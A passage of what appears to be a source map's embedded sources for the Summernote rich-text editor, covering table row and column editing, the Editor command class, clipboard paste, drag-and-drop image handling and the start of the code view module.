(cell.rowSpan > 1);\n if (cellHasRowspan) {\n const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);\n $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));\n return;\n }\n currentTr.after(html);\n }\n }\n\n /**\n * Add a new col\n *\n * @param {WrappedRange} rng\n * @param {String} position (left/right)\n * @return {Node}\n */\n addCol(rng, position) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const rowsGroup = $(row).siblings();\n rowsGroup.push(row);\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n TableResultAction.requestAction.Add, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n const currentCell = actions[actionIndex];\n const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n switch (currentCell.action) {\n case TableResultAction.resultAction.AddCell:\n if (position === 'right') {\n $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');\n } else {\n $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n }\n break;\n case TableResultAction.resultAction.SumSpanCount:\n if (position === 'right') {\n let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);\n colspanNumber++;\n currentCell.baseCell.setAttribute('colSpan', colspanNumber);\n } else {\n $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n }\n break;\n }\n }\n }\n\n /*\n * Copy attributes from element.\n *\n * @param {object} Element to recover attributes.\n * @return {string} Copied string elements.\n */\n recoverAttributes(el) {\n let resultStr = '';\n\n if (!el) {\n return resultStr;\n }\n\n const attrList = el.attributes || [];\n\n for (let i = 0; i < attrList.length; i++) {\n if (attrList[i].name.toLowerCase() === 'id') {\n continue;\n }\n\n if (attrList[i].specified) {\n resultStr += ' ' + attrList[i].name + '=\\'' + attrList[i].value + '\\'';\n }\n }\n\n return resultStr;\n }\n\n /**\n * Delete current row\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteRow(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const cellPos = row.children('td, th').index($(cell));\n const rowPos = row[0].rowIndex;\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n if (!actions[actionIndex]) {\n continue;\n }\n\n const baseCell = actions[actionIndex].baseCell;\n const virtualPosition = actions[actionIndex].virtualTable;\n const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);\n let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;\n switch (actions[actionIndex].action) {\n case TableResultAction.resultAction.Ignore:\n continue;\n case TableResultAction.resultAction.AddCell:\n const nextRow = row.next('tr')[0];\n if (!nextRow) { continue; }\n const cloneRow = row[0].cells[cellPos];\n if (hasRowspan) {\n if (rowspanNumber > 2) {\n rowspanNumber--;\n nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);\n nextRow.cells[cellPos].innerHTML = '';\n } else if (rowspanNumber === 2) {\n nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n nextRow.cells[cellPos].removeAttribute('rowSpan');\n nextRow.cells[cellPos].innerHTML = '';\n }\n }\n continue;\n case TableResultAction.resultAction.SubtractSpanCount:\n if (hasRowspan) {\n if (rowspanNumber > 2) {\n rowspanNumber--;\n baseCell.setAttribute('rowSpan', rowspanNumber);\n if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n } else if (rowspanNumber === 2) {\n baseCell.removeAttribute('rowSpan');\n if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n }\n }\n continue;\n case TableResultAction.resultAction.RemoveCell:\n // Do not need remove cell because row will be deleted.\n continue;\n }\n }\n row.remove();\n }\n\n /**\n * Delete current col\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteCol(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const cellPos = row.children('td, th').index($(cell));\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n if (!actions[actionIndex]) {\n continue;\n }\n switch (actions[actionIndex].action) {\n case TableResultAction.resultAction.Ignore:\n continue;\n case TableResultAction.resultAction.SubtractSpanCount:\n const baseCell = actions[actionIndex].baseCell;\n const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);\n if (hasColspan) {\n let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;\n if (colspanNumber > 2) {\n colspanNumber--;\n baseCell.setAttribute('colSpan', colspanNumber);\n if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n } else if (colspanNumber === 2) {\n baseCell.removeAttribute('colSpan');\n if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n }\n }\n continue;\n case TableResultAction.resultAction.RemoveCell:\n dom.remove(actions[actionIndex].baseCell, true);\n continue;\n }\n }\n }\n\n /**\n * create empty table element\n *\n * @param {Number} rowCount\n * @param {Number} colCount\n * @return {Node}\n */\n createTable(colCount, rowCount, options) {\n const tds = [];\n let tdHTML;\n for (let idxCol = 0; idxCol < colCount; idxCol++) {\n tds.push('<td>' + dom.blank + '</td>');\n }\n tdHTML = tds.join('');\n\n const trs = [];\n let trHTML;\n for (let idxRow = 0; idxRow < rowCount; idxRow++) {\n trs.push('<tr>' + tdHTML + '</tr>');\n }\n trHTML = trs.join('');\n const $table = $('<table>' + trHTML + '</table>');\n if (options && options.tableClassName) {\n $table.addClass(options.tableClassName);\n }\n\n return $table[0];\n }\n\n /**\n * Delete current table\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteTable(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n $(cell).closest('table').remove();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport { readFileAsDataURL, createImage } from '../core/async';\nimport History from '../editing/History';\nimport Style from '../editing/Style';\nimport Typing from '../editing/Typing';\nimport Table from '../editing/Table';\nimport Bullet from '../editing/Bullet';\n\nconst KEY_BOGUS = 'bogus';\n\n/**\n * @class Editor\n */\nexport default class Editor {\n constructor(context) {\n this.context = context;\n\n this.$note = context.layoutInfo.note;\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n this.editable = this.$editable[0];\n this.lastRange = null;\n\n this.style = new Style();\n this.table = new Table();\n this.typing = new Typing();\n this.bullet = new Bullet();\n this.history = new History(this.$editable);\n\n this.context.memo('help.undo', this.lang.help.undo);\n this.context.memo('help.redo', this.lang.help.redo);\n this.context.memo('help.tab', this.lang.help.tab);\n this.context.memo('help.untab', this.lang.help.untab);\n this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);\n this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);\n this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);\n this.context.memo('help.indent', this.lang.help.indent);\n this.context.memo('help.outdent', this.lang.help.outdent);\n this.context.memo('help.formatPara', this.lang.help.formatPara);\n this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);\n this.context.memo('help.fontName', this.lang.help.fontName);\n\n // native commands(with execCommand), generate function for execCommand\n const commands = [\n 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',\n 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',\n 'formatBlock', 'removeFormat', 'backColor'\n ];\n\n for (let idx = 0, len = commands.length; idx < len; idx++) {\n this[commands[idx]] = ((sCmd) => {\n return (value) => {\n this.beforeCommand();\n document.execCommand(sCmd, false, value);\n this.afterCommand(true);\n };\n })(commands[idx]);\n this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);\n }\n\n this.fontName = this.wrapCommand((value) => {\n return this.fontStyling('font-family', \"\\'\" + value + \"\\'\");\n });\n\n this.fontSize = this.wrapCommand((value) => {\n return this.fontStyling('font-size', value + 'px');\n });\n\n for (let idx = 1; idx <= 6; idx++) {\n this['formatH' + idx] = ((idx) => {\n return () => {\n this.formatBlock('H' + idx);\n };\n })(idx);\n this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);\n };\n\n this.insertParagraph = this.wrapCommand(() => {\n this.typing.insertParagraph(this.editable);\n });\n\n this.insertOrderedList = this.wrapCommand(() => {\n this.bullet.insertOrderedList(this.editable);\n });\n\n this.insertUnorderedList = this.wrapCommand(() => {\n this.bullet.insertUnorderedList(this.editable);\n });\n\n this.indent = this.wrapCommand(() => {\n this.bullet.indent(this.editable);\n });\n\n this.outdent = this.wrapCommand(() => {\n this.bullet.outdent(this.editable);\n });\n\n /**\n * insertNode\n * insert node\n * @param {Node} node\n */\n this.insertNode = this.wrapCommand((node) => {\n if (this.isLimited($(node).text().length)) {\n return;\n }\n const rng = this.createRange();\n rng.insertNode(node);\n range.createFromNodeAfter(node).select();\n });\n\n /**\n * insert text\n * @param {String} text\n */\n this.insertText = this.wrapCommand((text) => {\n if (this.isLimited(text.length)) {\n return;\n }\n const rng = this.createRange();\n const textNode = rng.insertNode(dom.createText(text));\n range.create(textNode, dom.nodeLength(textNode)).select();\n });\n /**\n * paste HTML\n * @param {String} markup\n */\n this.pasteHTML = this.wrapCommand((markup) => {\n if (this.isLimited(markup.length)) {\n return;\n }\n const contents = this.createRange().pasteHTML(markup);\n range.createFromNodeAfter(lists.last(contents)).select();\n });\n\n /**\n * formatBlock\n *\n * @param {String} tagName\n */\n this.formatBlock = this.wrapCommand((tagName, $target) => {\n const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;\n if (onApplyCustomStyle) {\n onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);\n } else {\n this.onFormatBlock(tagName, $target);\n }\n });\n\n /**\n * insert horizontal rule\n */\n this.insertHorizontalRule = this.wrapCommand(() => {\n const hrNode = this.createRange().insertNode(dom.create('HR'));\n if (hrNode.nextSibling) {\n range.create(hrNode.nextSibling, 0).normalize().select();\n }\n });\n\n /**\n * lineHeight\n * @param {String} value\n */\n this.lineHeight = this.wrapCommand((value) => {\n this.style.stylePara(this.createRange(), {\n lineHeight: value\n });\n });\n\n /**\n * create link (command)\n *\n * @param {Object} linkInfo\n */\n this.createLink = this.wrapCommand((linkInfo) => {\n let linkUrl = linkInfo.url;\n const linkText = linkInfo.text;\n const isNewWindow = linkInfo.isNewWindow;\n let rng = linkInfo.range || this.createRange();\n const isTextChanged = rng.toString() !== linkText;\n\n // handle spaced urls from input\n if (typeof linkUrl === 'string') {\n linkUrl = linkUrl.trim();\n }\n\n if (this.options.onCreateLink) {\n linkUrl = this.options.onCreateLink(linkUrl);\n } else {\n // if url doesn't match an URL schema, set http:// as default\n linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?/.test(linkUrl)\n ? linkUrl : 'http://' + linkUrl;\n }\n\n let anchors = [];\n if (isTextChanged) {\n rng = rng.deleteContents();\n const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);\n anchors.push(anchor);\n } else {\n anchors = this.style.styleNodes(rng, {\n nodeName: 'A',\n expandClosestSibling: true,\n onlyPartialContains: true\n });\n }\n\n $.each(anchors, (idx, anchor) => {\n $(anchor).attr('href', linkUrl);\n if (isNewWindow) {\n $(anchor).attr('target', '_blank');\n } else {\n $(anchor).removeAttr('target');\n }\n });\n\n const startRange = range.createFromNodeBefore(lists.head(anchors));\n const startPoint = startRange.getStartPoint();\n const endRange = range.createFromNodeAfter(lists.last(anchors));\n const endPoint = endRange.getEndPoint();\n\n range.create(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n ).select();\n });\n\n /**\n * setting color\n *\n * @param {Object} sObjColor color code\n * @param {String} sObjColor.foreColor foreground color\n * @param {String} sObjColor.backColor background color\n */\n this.color = this.wrapCommand((colorInfo) => {\n const foreColor = colorInfo.foreColor;\n const backColor = colorInfo.backColor;\n\n if (foreColor) { document.execCommand('foreColor', false, foreColor); }\n if (backColor) { document.execCommand('backColor', false, backColor); }\n });\n\n /**\n * Set foreground color\n *\n * @param {String} colorCode foreground color code\n */\n this.foreColor = this.wrapCommand((colorInfo) => {\n document.execCommand('styleWithCSS', false, true);\n document.execCommand('foreColor', false, colorInfo);\n });\n\n /**\n * insert Table\n *\n * @param {String} dimension of table (ex : \"5x5\")\n */\n this.insertTable = this.wrapCommand((dim) => {\n const dimension = dim.split('x');\n\n const rng = this.createRange().deleteContents();\n rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));\n });\n\n /**\n * remove media object and Figure Elements if media object is img with Figure.\n */\n this.removeMedia = this.wrapCommand(() => {\n let $target = $(this.restoreTarget()).parent();\n if ($target.parent('figure').length) {\n $target.parent('figure').remove();\n } else {\n $target = $(this.restoreTarget()).detach();\n }\n this.context.triggerEvent('media.delete', $target, this.$editable);\n });\n\n /**\n * float me\n *\n * @param {String} value\n */\n this.floatMe = this.wrapCommand((value) => {\n const $target = $(this.restoreTarget());\n $target.toggleClass('note-float-left', value === 'left');\n $target.toggleClass('note-float-right', value === 'right');\n $target.css('float', value);\n });\n\n /**\n * resize overlay element\n * @param {String} value\n */\n this.resize = this.wrapCommand((value) => {\n const $target = $(this.restoreTarget());\n $target.css({\n width: value * 100 + '%',\n height: ''\n });\n });\n }\n\n initialize() {\n // bind custom events\n this.$editable.on('keydown', (event) => {\n if (event.keyCode === key.code.ENTER) {\n this.context.triggerEvent('enter', event);\n }\n this.context.triggerEvent('keydown', event);\n\n if (!event.isDefaultPrevented()) {\n if (this.options.shortcuts) {\n this.handleKeyMap(event);\n } else {\n this.preventDefaultEditableShortCuts(event);\n }\n }\n if (this.isLimited(1, event)) {\n return false;\n }\n }).on('keyup', (event) => {\n this.context.triggerEvent('keyup', event);\n }).on('focus', (event) => {\n this.context.triggerEvent('focus', event);\n }).on('blur', (event) => {\n this.context.triggerEvent('blur', event);\n }).on('mousedown', (event) => {\n this.context.triggerEvent('mousedown', event);\n }).on('mouseup', (event) => {\n this.context.triggerEvent('mouseup', event);\n }).on('scroll', (event) => {\n this.context.triggerEvent('scroll', event);\n }).on('paste', (event) => {\n this.context.triggerEvent('paste', event);\n });\n\n // init content before set event\n this.$editable.html(dom.html(this.$note) || dom.emptyPara);\n\n this.$editable.on(env.inputEventName, func.debounce(() => {\n this.context.triggerEvent('change', this.$editable.html());\n }, 100));\n\n this.$editor.on('focusin', (event) => {\n this.context.triggerEvent('focusin', event);\n }).on('focusout', (event) => {\n this.context.triggerEvent('focusout', event);\n });\n\n if (!this.options.airMode) {\n if (this.options.width) {\n this.$editor.outerWidth(this.options.width);\n }\n if (this.options.height) {\n this.$editable.outerHeight(this.options.height);\n }\n if (this.options.maxHeight) {\n this.$editable.css('max-height', this.options.maxHeight);\n }\n if (this.options.minHeight) {\n this.$editable.css('min-height', this.options.minHeight);\n }\n }\n\n this.history.recordUndo();\n }\n\n destroy() {\n this.$editable.off();\n }\n\n handleKeyMap(event) {\n const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n const keys = [];\n\n if (event.metaKey) { keys.push('CMD'); }\n if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }\n if (event.shiftKey) { keys.push('SHIFT'); }\n\n const keyName = key.nameFromCode[event.keyCode];\n if (keyName) {\n keys.push(keyName);\n }\n\n const eventName = keyMap[keys.join('+')];\n if (eventName) {\n if (this.context.invoke(eventName) !== false) {\n event.preventDefault();\n }\n } else if (key.isEdit(event.keyCode)) {\n this.afterCommand();\n }\n }\n\n preventDefaultEditableShortCuts(event) {\n // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)\n if ((event.ctrlKey || event.metaKey) &&\n lists.contains([66, 73, 85], event.keyCode)) {\n event.preventDefault();\n }\n }\n\n isLimited(pad, event) {\n pad = pad || 0;\n\n if (typeof event !== 'undefined') {\n if (key.isMove(event.keyCode) ||\n (event.ctrlKey || event.metaKey) ||\n lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {\n return false;\n }\n }\n\n if (this.options.maxTextLength > 0) {\n if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {\n return true;\n }\n }\n return false;\n }\n /**\n * create range\n * @return {WrappedRange}\n */\n createRange() {\n this.focus();\n return range.create(this.editable);\n }\n\n /**\n * saveRange\n *\n * save current range\n *\n * @param {Boolean} [thenCollapse=false]\n */\n saveRange(thenCollapse) {\n this.lastRange = this.createRange();\n if (thenCollapse) {\n this.lastRange.collapse().select();\n }\n }\n\n /**\n * restoreRange\n *\n * restore lately range\n */\n restoreRange() {\n if (this.lastRange) {\n this.lastRange.select();\n this.focus();\n }\n }\n\n saveTarget(node) {\n this.$editable.data('target', node);\n }\n\n clearTarget() {\n this.$editable.removeData('target');\n }\n\n restoreTarget() {\n return this.$editable.data('target');\n }\n\n /**\n * currentStyle\n *\n * current style\n * @return {Object|Boolean} unfocus\n */\n currentStyle() {\n let rng = range.create();\n if (rng) {\n rng = rng.normalize();\n }\n return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);\n }\n\n /**\n * style from node\n *\n * @param {jQuery} $node\n * @return {Object}\n */\n styleFromNode($node) {\n return this.style.fromNode($node);\n }\n\n /**\n * undo\n */\n undo() {\n this.context.triggerEvent('before.command', this.$editable.html());\n this.history.undo();\n this.context.triggerEvent('change', this.$editable.html());\n }\n\n /**\n * redo\n */\n redo() {\n this.context.triggerEvent('before.command', this.$editable.html());\n this.history.redo();\n this.context.triggerEvent('change', this.$editable.html());\n }\n\n /**\n * before command\n */\n beforeCommand() {\n this.context.triggerEvent('before.command', this.$editable.html());\n // keep focus on editable before command execution\n this.focus();\n }\n\n /**\n * after command\n * @param {Boolean} isPreventTrigger\n */\n afterCommand(isPreventTrigger) {\n this.normalizeContent();\n this.history.recordUndo();\n if (!isPreventTrigger) {\n this.context.triggerEvent('change', this.$editable.html());\n }\n }\n\n /**\n * handle tab key\n */\n tab() {\n const rng = this.createRange();\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.table.tab(rng);\n } else {\n if (this.options.tabSize === 0) {\n return false;\n }\n\n if (!this.isLimited(this.options.tabSize)) {\n this.beforeCommand();\n this.typing.insertTab(rng, this.options.tabSize);\n this.afterCommand();\n }\n }\n }\n\n /**\n * handle shift+tab key\n */\n untab() {\n const rng = this.createRange();\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.table.tab(rng, true);\n } else {\n if (this.options.tabSize === 0) {\n return false;\n }\n }\n }\n\n /**\n * run given function between beforeCommand and afterCommand\n */\n wrapCommand(fn) {\n return () => {\n this.beforeCommand();\n fn.apply(this, arguments);\n this.afterCommand();\n };\n }\n\n /**\n * insert image\n *\n * @param {String} src\n * @param {String|Function} param\n * @return {Promise}\n */\n insertImage(src, param) {\n return createImage(src, param).then(($image) => {\n this.beforeCommand();\n\n if (typeof param === 'function') {\n param($image);\n } else {\n if (typeof param === 'string') {\n $image.attr('data-filename', param);\n }\n $image.css('width', Math.min(this.$editable.width(), $image.width()));\n }\n\n $image.show();\n range.create(this.editable).insertNode($image[0]);\n range.createFromNodeAfter($image[0]).select();\n this.afterCommand();\n }).fail((e) => {\n this.context.triggerEvent('image.upload.error', e);\n });\n }\n\n /**\n * insertImages\n * @param {File[]} files\n */\n insertImages(files) {\n $.each(files, (idx, file) => {\n const filename = file.name;\n if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {\n this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);\n } else {\n readFileAsDataURL(file).then((dataURL) => {\n return this.insertImage(dataURL, filename);\n }).fail(() => {\n this.context.triggerEvent('image.upload.error');\n });\n }\n });\n }\n\n /**\n * insertImagesOrCallback\n * @param {File[]} files\n */\n insertImagesOrCallback(files) {\n const callbacks = this.options.callbacks;\n\n // If onImageUpload this.options setted\n if (callbacks.onImageUpload) {\n this.context.triggerEvent('image.upload', files);\n // else insert Image as dataURL\n } else {\n this.insertImages(files);\n }\n }\n\n /**\n * return selected plain text\n * @return {String} text\n */\n getSelectedText() {\n let rng = this.createRange();\n\n // if range on anchor, expand range with anchor\n if (rng.isOnAnchor()) {\n rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));\n }\n\n return rng.toString();\n }\n\n onFormatBlock(tagName, $target) {\n // [workaround] for MSIE, IE need `<`\n tagName = env.isMSIE ? '<' + tagName + '>' : tagName;\n document.execCommand('FormatBlock', false, tagName);\n\n // support custom class\n if ($target && $target.length) {\n const className = $target[0].className || '';\n if (className) {\n const currentRange = this.createRange();\n\n const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);\n $parent.addClass(className);\n }\n }\n }\n\n formatPara() {\n this.formatBlock('P');\n }\n\n fontStyling(target, value) {\n const rng = this.createRange();\n\n if (rng) {\n const spans = this.style.styleNodes(rng);\n $(spans).css(target, value);\n\n // [workaround] added styled bogus span for style\n // - also bogus character needed for cursor position\n if (rng.isCollapsed()) {\n const firstSpan = lists.head(spans);\n if (firstSpan && !dom.nodeLength(firstSpan)) {\n firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;\n range.createFromNodeAfter(firstSpan.firstChild).select();\n this.$editable.data(KEY_BOGUS, firstSpan);\n }\n }\n }\n }\n\n /**\n * unlink\n *\n * @type command\n */\n unlink() {\n let rng = this.createRange();\n if (rng.isOnAnchor()) {\n const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n rng = range.createFromNode(anchor);\n rng.select();\n\n this.beforeCommand();\n document.execCommand('unlink');\n this.afterCommand();\n }\n }\n\n /**\n * returns link info\n *\n * @return {Object}\n * @return {WrappedRange} return.range\n * @return {String} return.text\n * @return {Boolean} [return.isNewWindow=true]\n * @return {String} [return.url=\"\"]\n */\n getLinkInfo() {\n const rng = this.createRange().expand(dom.isAnchor);\n\n // Get the first anchor on range(for edit).\n const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));\n const linkInfo = {\n range: rng,\n text: rng.toString(),\n url: $anchor.length ? $anchor.attr('href') : ''\n };\n\n // Define isNewWindow when anchor exists.\n if ($anchor.length) {\n linkInfo.isNewWindow = $anchor.attr('target') === '_blank';\n }\n\n return linkInfo;\n }\n\n addRow(position) {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.addRow(rng, position);\n this.afterCommand();\n }\n }\n\n addCol(position) {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.addCol(rng, position);\n this.afterCommand();\n }\n }\n\n deleteRow() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteRow(rng);\n this.afterCommand();\n }\n }\n\n deleteCol() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteCol(rng);\n this.afterCommand();\n }\n }\n\n deleteTable() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteTable(rng);\n this.afterCommand();\n }\n }\n\n /**\n * @param {Position} pos\n * @param {jQuery} $target - target element\n * @param {Boolean} [bKeepRatio] - keep ratio\n */\n resizeTo(pos, $target, bKeepRatio) {\n let imageSize;\n if (bKeepRatio) {\n const newRatio = pos.y / pos.x;\n const ratio = $target.data('ratio');\n imageSize = {\n width: ratio > newRatio ? pos.x : pos.y / ratio,\n height: ratio > newRatio ? pos.x * ratio : pos.y\n };\n } else {\n imageSize = {\n width: pos.x,\n height: pos.y\n };\n }\n\n $target.css(imageSize);\n }\n\n /**\n * returns whether editable area has focus or not.\n */\n hasFocus() {\n return this.$editable.is(':focus');\n }\n\n /**\n * set focus\n */\n focus() {\n // [workaround] Screen will move when page is scolled in IE.\n // - do focus when not focused\n if (!this.hasFocus()) {\n this.$editable.focus();\n }\n }\n\n /**\n * returns whether contents is empty or not.\n * @return {Boolean}\n */\n isEmpty() {\n return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();\n }\n\n /**\n * Removes all contents and restores the editable instance to an _emptyPara_.\n */\n empty() {\n this.context.invoke('code', dom.emptyPara);\n }\n\n /**\n * normalize content\n */\n normalizeContent() {\n this.$editable[0].normalize();\n }\n}\n","import lists from '../core/lists';\n\nexport default class Clipboard {\n constructor(context) {\n this.context = context;\n this.$editable = context.layoutInfo.editable;\n }\n\n initialize() {\n this.$editable.on('paste', this.pasteByEvent.bind(this));\n }\n\n /**\n * paste by clipboard event\n *\n * @param {Event} event\n */\n pasteByEvent(event) {\n const clipboardData = event.originalEvent.clipboardData;\n if (clipboardData && clipboardData.items && clipboardData.items.length) {\n const item = lists.head(clipboardData.items);\n if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {\n this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);\n }\n this.context.invoke('editor.afterCommand');\n }\n }\n}\n","import $ from 'jquery';\n\nexport default class Dropzone {\n constructor(context) {\n this.context = context;\n this.$eventListener = $(document);\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.lang = this.options.langInfo;\n this.documentEventHandlers = {};\n\n this.$dropzone = $([\n '<div class=\"note-dropzone\">',\n ' <div class=\"note-dropzone-message\"/>',\n '</div>'\n ].join('')).prependTo(this.$editor);\n }\n\n /**\n * attach Drag and Drop Events\n */\n initialize() {\n if (this.options.disableDragAndDrop) {\n // prevent default drop event\n this.documentEventHandlers.onDrop = (e) => {\n e.preventDefault();\n };\n // do not consider outside of dropzone\n this.$eventListener = this.$dropzone;\n this.$eventListener.on('drop', this.documentEventHandlers.onDrop);\n } else {\n this.attachDragAndDropEvent();\n }\n }\n\n /**\n * attach Drag and Drop Events\n */\n attachDragAndDropEvent() {\n let collection = $();\n const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');\n\n this.documentEventHandlers.onDragenter = (e) => {\n const isCodeview = this.context.invoke('codeview.isActivated');\n const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;\n if (!isCodeview && !collection.length && hasEditorSize) {\n this.$editor.addClass('dragover');\n this.$dropzone.width(this.$editor.width());\n this.$dropzone.height(this.$editor.height());\n $dropzoneMessage.text(this.lang.image.dragImageHere);\n }\n collection = collection.add(e.target);\n };\n\n this.documentEventHandlers.onDragleave = (e) => {\n collection = collection.not(e.target);\n if (!collection.length) {\n this.$editor.removeClass('dragover');\n }\n };\n\n this.documentEventHandlers.onDrop = () => {\n collection = $();\n this.$editor.removeClass('dragover');\n };\n\n // show dropzone on dragenter when dragging a object to document\n // -but only if the editor is visible, i.e. has a positive width and height\n this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)\n .on('dragleave', this.documentEventHandlers.onDragleave)\n .on('drop', this.documentEventHandlers.onDrop);\n\n // change dropzone's message on hover.\n this.$dropzone.on('dragenter', () => {\n this.$dropzone.addClass('hover');\n $dropzoneMessage.text(this.lang.image.dropImage);\n }).on('dragleave', () => {\n this.$dropzone.removeClass('hover');\n $dropzoneMessage.text(this.lang.image.dragImageHere);\n });\n\n // attach dropImage\n this.$dropzone.on('drop', (event) => {\n const dataTransfer = event.originalEvent.dataTransfer;\n\n // stop the browser from opening the dropped content\n event.preventDefault();\n\n if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {\n this.$editable.focus();\n this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);\n } else {\n $.each(dataTransfer.types, (idx, type) => {\n const content = dataTransfer.getData(type);\n\n if (type.toLowerCase().indexOf('text') > -1) {\n this.context.invoke('editor.pasteHTML', content);\n } else {\n $(content).each((idx, item) => {\n this.context.invoke('editor.insertNode', item);\n });\n }\n });\n }\n }).on('dragover', false); // prevent default dragover event\n }\n\n destroy() {\n Object.keys(this.documentEventHandlers).forEach((key) => {\n this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);\n });\n this.documentEventHandlers = {};\n }\n}\n","import env from '../core/env';\nimport dom from '../core/dom';\n\nlet CodeMirror;\nif (env.hasCodeMirror) {\n if (env.isSupportAmd) {\n require(['codemirror'], function(cm) {\n CodeMirror = cm;\n });\n } else {\n CodeMirror = window.CodeMirror;\n }\n}\n\n/**\n * @class Codeview\n */\nexport default class CodeView {\n constructor(context) {\n this.context = context;\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.$codable = context.layoutInfo.codable;\n this.options = context.options;\n }\n\n sync() {\n const isCodeview = this.isActivated();\n if (isCodeview && env.hasCodeMirror) {\n this.$codable.data('cmEditor').save();\n }\n }\n\n /**\n * @return {Boolean}\n */\n isActivated() {\n return this.$editor.hasClass('codeview');\n }\n\n /**\n * toggle codeview\n */\n toggle() {\n if (this.isActivated()) {\n this.deactivate();\n } else {\n this.activate();\n }\n this.context.triggerEvent('codeview.toggled');\n }\n\n /**\n * activate code view\n */\n activate() {\n this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));\n this.$codable.height(this.$editable.height());\n\n this.context.invoke('toolbar.updateCodeview', true);\n 